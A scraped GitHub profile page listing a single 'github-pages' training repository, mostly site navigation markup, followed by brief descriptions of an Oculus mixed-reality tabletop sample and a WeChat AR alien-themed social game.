.138.112.25.25.25H5v-8H1.5zM5 5H1.5V1.75a.25.25 0 01.25-.25H5V5zm1.5 1.5v8h7.75a.25.25 0 00.25-.25V6.5h-8zm8-1.5h-8V1.5h7.75a.25.25 0 01.25.25V5z"></path> </svg> Projects <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PACKAGES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="add7fd6f4f8f617c23b86cea0dd89fef5bd1ea5fe415b3492401e9a613d417be" data-tab-item="packages" href="/chikitang?tab=packages"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-package UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8.878.392a1.75 1.75 0 00-1.756 0l-5.25 3.045A1.75 1.75 0 001 4.951v6.098c0 .624.332 1.2.872 1.514l5.25 3.045a1.75 1.75 0 001.756 0l5.25-3.045c.54-.313.872-.89.872-1.514V4.951c0-.624-.332-1.2-.872-1.514L8.878.392zM7.875 1.69a.25.25 0 01.25 0l4.63 2.685L8 7.133 3.245 4.375l4.63-2.685zM2.5 5.677v5.372c0 .09.047.171.125.216l4.625 2.683V8.432L2.5 5.677zm6.25 8.271l4.625-2.683a.25.25 0 00.125-.216V5.677L8.75 8.432v5.516z"></path> </svg> Packages <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_STARS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="9b1d942d1e97482fca652be20f1a0bdf7aadf6379f10093c52d87921e2fc4d38" data-tab-item="stars" href="/chikitang?tab=stars"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path> </svg> Stars <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> </nav> <div class="position-absolute pr-3 pr-md-4 pr-lg-5 right-0 js-responsive-underlinenav-overflow" style="visibility: hidden"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path> </svg> <span class="sr-only">More</span> </div> </summary> <div data-view-component="true"> <details-menu role="menu" class="dropdown-menu dropdown-menu-sw"> <ul > <li data-menu-item="overview" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang" href="/chikitang">Overview</a> </li> <li data-menu-item="repositories" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang?tab=repositories" href="/chikitang?tab=repositories">Repositories</a> </li> <li data-menu-item="projects" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=projects&type=beta" href="/chikitang?tab=projects&type=beta">Projects</a> </li> <li data-menu-item="packages" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=packages" href="/chikitang?tab=packages">Packages</a> </li> <li data-menu-item="stars" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=stars" href="/chikitang?tab=stars">Stars</a> </li> </ul> </details-menu> </div> </details></div> </div> <div> <div class="position-relative"> <div class="border-bottom color-border-muted py-3"> <a href="/new" class="d-md-none btn btn-primary d-flex flex-items-center flex-justify-center width-full mb-4"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo mr-1"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> New </a> <div class="d-flex flex-items-start"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="width-full" data-autosearch-results-container="user-repositories-list" aria-label="Repositories" role="search" data-turbo="false" action="/chikitang" accept-charset="UTF-8" method="get"> <div class="d-flex flex-column flex-lg-row flex-auto"> <div class="mb-1 mb-md-0 mr-md-3 flex-auto"> <input type="hidden" name="tab" value="repositories"> <input type="search" id="your-repos-filter" name="q" class="form-control width-full" placeholder="Find a repository…" autocomplete="off" aria-label="Find a repository…" value="" data-throttled-autosubmit> </div> <div class="d-flex flex-wrap"> <details class="details-reset details-overlay position-relative mt-1 mt-lg-0 mr-1" id="type-options"> <summary aria-haspopup="true" data-view-component="true" class="btn"> <span>Type</span> <span class="d-none" data-menu-button> All </span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu right-lg-0"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span class="SelectMenu-title">Select type</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="type-options"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg></button> </header> <div class="SelectMenu-list"> <label class="SelectMenu-item" role="menuitemradio" aria-checked="true" tabindex="0"> <input type="radio" name="type" id="type_" value="" hidden="hidden" data-autosubmit="true" checked="checked" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>All</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_public" value="public" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Public</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_private" value="private" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Private</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_source" value="source" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Sources</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_fork" value="fork" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Forks</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_archived" value="archived" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Archived</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_mirror" value="mirror" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Mirrors</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_template" value="template" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Templates</span> </label> </div> </div> </details-menu> </details> <details class="details-reset details-overlay position-relative mt-1 mt-lg-0" id="language-options"> <summary aria-haspopup="true" data-view-component="true" class="btn"> <span>Language</span> <span class="d-none" data-menu-button> All </span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu mt-1 mt-lg-0 mr-md-2 ml-md-2 right-lg-0"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span class="SelectMenu-title">Select language</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="language-options"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg></button> </header> <div class="SelectMenu-list"> <label class="SelectMenu-item" role="menuitemradio" aria-checked="true" tabindex="0"> <input type="radio" name="language" id="language_" value="" hidden="hidden" data-autosubmit="true" checked="checked" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>All</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="language" id="language_html" value="html" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>HTML</span> </label> </div> </div> </details-menu> </details> <details class="details-reset details-overlay position-relative mt-1 mt-lg-0 ml-1" id="sort-options"> <summary aria-haspopup="true" data-view-component="true" class="btn"> <span>Sort</span> <span class="d-none" data-menu-button> Last updated </span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu right-lg-0"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span class="SelectMenu-title">Select order</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="sort-options"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg></button> </header> <div class="SelectMenu-list"> <label class="SelectMenu-item" role="menuitemradio" aria-checked="true" tabindex="0"> <input type="radio" name="sort" id="sort_" value="" hidden="hidden" data-autosubmit="true" checked="checked" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Last updated</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="sort" id="sort_name" value="name" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Name</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="sort" id="sort_stargazers" value="stargazers" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Stars</span> </label> </div> </div> </details-menu> </details> </div> </div> </form> <div class="d-none d-md-flex flex-md-items-center flex-md-justify-end"> <a href="/new" class="text-center btn btn-primary ml-3"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> New </a> </div> </div> </div> <div id="user-repositories-list"> <ul data-filterable-for="your-repos-filter" data-filterable-type="substring"> <li class="col-12 d-flex flex-justify-between width-full py-4 border-bottom color-border-muted public source" itemprop="owns" itemscope itemtype="http://schema.org/Code"> <div class="col-10 col-lg-9 d-inline-block"> <div class="d-inline-block mb-1"> <h3 class="wb-break-all"> <a href="/chikitang/github-pages" itemprop="name codeRepository" > github-pages</a> <span></span><span class="Label Label--secondary v-align-middle ml-1 mb-1">Public</span> </h3> </div> <div> <p class="col-9 d-inline-block color-fg-muted mb-2 pr-4" itemprop="description"> A robot powered training repository <g-emoji class="g-emoji" alias="robot" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f916.png">🤖</g-emoji> </p> </div> <div class="f6 color-fg-muted mt-2"> <span class="ml-0 mr-3"> <span class="repo-language-color" style="background-color: #e34c26"></span> <span itemprop="programmingLanguage">HTML</span> </span> <span class="mr-3"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-law mr-1"> <path fill-rule="evenodd" d="M8.75.75a.75.75 0 00-1.5 0V2h-.984c-.305 0-.604.08-.869.23l-1.288.737A.25.25 0 013.984 3H1.75a.75.75 0 000 1.5h.428L.066 9.192a.75.75 0 00.154.838l.53-.53-.53.53v.001l.002.002.002.002.006.006.016.015.045.04a3.514 3.514 0 00.686.45A4.492 4.492 0 003 11c.88 0 1.556-.22 2.023-.454a3.515 3.515 0 00.686-.45l.045-.04.016-.015.006-.006.002-.002.001-.002L5.25 9.5l.53.53a.75.75 0 00.154-.838L3.822 4.5h.162c.305 0 .604-.08.869-.23l1.289-.737a.25.25 0 01.124-.033h.984V13h-2.5a.75.75 0 000 1.5h6.5a.75.75 0 000-1.5h-2.5V3.5h.984a.25.25 0 01.124.033l1.29.736c.264.152.563.231.868.231h.162l-2.112 4.692a.75.75 0 00.154.838l.53-.53-.53.53v.001l.002.002.002.002.006.006.016.015.045.04a3.517 3.517 0 00.686.45A4.492 4.492 0 0013 11c.88 0 1.556-.22 2.023-.454a3.512 3.512 0 00.686-.45l.045-.04.01-.01.006-.005.006-.006.002-.002.001-.002-.529-.531.53.53a.75.75 0 00.154-.838L13.823 4.5h.427a.75.75 0 000-1.5h-2.234a.25.25 0 01-.124-.033l-1.29-.736A1.75 1.75 0 009.735 2H8.75V.75zM1.695 9.227c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L3 6.327l-1.305 2.9zm10 0c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L13 6.327l-1.305 2.9z"></path> </svg>MIT License </span> Updated <relative-time datetime="2022-06-08T03:58:07Z" class="no-wrap">Jun 7, 2022</relative-time> </div> </div> <div class="col-2 d-flex flex-column flex-justify-around flex-items-end ml-3"> <template class="js-unstar-confirmation-dialog-template"> <div class="Box-header"> <h2 class="Box-title">Unstar this repository?</h2> </div> <div class="Box-body"> <p class="mb-3"> This will remove {{ repoNameWithOwner }} from the {{ listsWithCount }} that it's been added to. </p> <div class="form-actions"> <form class="js-social-confirmation-form" data-turbo="false" action="{{ confirmUrl }}" accept-charset="UTF-8" method="post"> <input type="hidden" name="authenticity_token" value="{{ confirmCsrfToken }}"> <input type="hidden" name="confirm" value="true"> <button data-close-dialog="true" type="submit" data-view-component="true" class="btn-danger btn width-full"> Unstar </button> </form> </div> </div> </template> <div data-view-component="true" class="js-toggler-container js-social-container starring-container BtnGroup d-flex"> <form class="starred js-social-form BtnGroup-parent flex-auto js-deferred-toggler-target" data-turbo="false" action="/chikitang/github-pages/unstar" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="P3ZaMuVNtLT4QUVj9SZ3_76QeVS-3FOc0gP3XVwVBgRcLVKXCTCdvdJ6obMwUrBCGfd2XQVN_W7IuZa7njBcNA" autocomplete="off" /> <input type="hidden" value="KnKZMI3CU5RojoPkAik3DUoD4aqrgGVadUrVgfAoCJRJKZGVYb96nUK1ZzTHXfCw7WTuoxARy6hv8LRnMg1SpA" data-csrf="true" class="js-confirm-csrf-token" /> <input type="hidden" name="context" value="other"> <button data-hydro-click="{"event_type":"repository.click","payload":{"target":"UNSTAR_BUTTON","repository_id":501093064,"originating_url":"https://github.com/chikitang?tab=repositories","user_id":107093285}}" data-hydro-click-hmac="f34c8205d1678d4ae0e77c4839fbb14d3a9fd63160652b28998f8827c527e5a2" data-ga-click="Repository, click unstar button, action:profiles/repositories#index; text:Unstar" aria-label="Unstar this repository" type="submit" data-view-component="true" class="rounded-left-2 border-right-0 btn-sm btn BtnGroup-item"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star-fill starred-button-icon d-inline-block mr-2"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25z"></path> </svg><span data-view-component="true" class="d-inline"> Starred </span> </button></form> <form class="unstarred js-social-form BtnGroup-parent flex-auto" data-turbo="false" action="/chikitang/github-pages/star" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="VdD5gHR0SaNWuuE-4Huf1LFVNH_kIFLksg8psuv1LDDU6Ha53YRem4Yp2ZrIpb7eKSa1cf-yR9oZDpa0b5XdgA" autocomplete="off" /> <input type="hidden" name="context" value="other"> <button data-hydro-click="{"event_type":"repository.click","payload":{"target":"STAR_BUTTON","repository_id":501093064,"originating_url":"https://github.com/chikitang?tab=repositories","user_id":107093285}}" data-hydro-click-hmac="5cd067574b17d3257d89fbe1c8c675a553eb8e3ad7cea5efb3cf0e75d36f0801" data-ga-click="Repository, click star button, action:profiles/repositories#index; text:Star" aria-label="Star this repository" type="submit" data-view-component="true" class="js-toggler-target rounded-left-2 btn-sm btn BtnGroup-item"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star d-inline-block mr-2"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path> </svg><span data-view-component="true" class="d-inline"> Star </span> </button></form> <details id="details-user-list-501093064" data-view-component="true" class="details-reset details-overlay BtnGroup-parent js-user-list-menu d-inline-block position-relative"> <summary aria-label="Add this repository to a list" data-view-component="true" class="btn-sm btn BtnGroup-item px-2 float-none"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="M4.427 7.427l3.396 3.396a.25.25 0 00.354 0l3.396-3.396A.25.25 0 0011.396 7H4.604a.25.25 0 00-.177.427z"></path> </svg> </summary> <details-menu class="SelectMenu right-0" src="/chikitang/github-pages/lists" role="menu" > <div class="SelectMenu-modal"> <button class="SelectMenu-closeButton position-absolute right-0 m-2" type="button" aria-label="Close menu" data-toggle-for="details-91edb5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div id="filter-menu-91edb5" class="d-flex flex-column flex-1 overflow-hidden" > <div class="SelectMenu-list" > <include-fragment class="SelectMenu-loading" aria-label="Loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 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id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details> </template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div> </div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path> </svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> </clipboard-copy> </div> </template> <style> .user-mention[href$="/chikitang"] { color: var(--color-user-mention-fg); background-color: var(--color-user-mention-bg); border-radius: 2px; margin-left: -2px; margin-right: -2px; padding: 0 2px; } </style> </body> </html>
oculus-samples
Spirit Sling is a social mixed reality (MR) app created to show developers how to build exciting tabletop games that give users a reason to be together in MR.With our new and improved Avatars, and the power of mixed reality, users can now place a fun tabletop experience on a surface and invite a friend into their space to play with them.
kevinfu1717
【X世纪星际终端】A Wechat Social and AR Game: 基于微信聊天,结合增强现实技术AR+LBS(基于图像位置)的轻社交星际漂流瓶游戏。向外太空发送漂流信息,看看AI预测的外星人是长什么样的,寻找身边的外星人,逗逗外星生物,看看外星植物及外星建筑。Send the message to the outer space, find the aliens in the earth. Let`s see what they look like from LSGAN`s prediction. Also, Have a look at the aliens' pets and the vegetation from the outer space
Ronald106
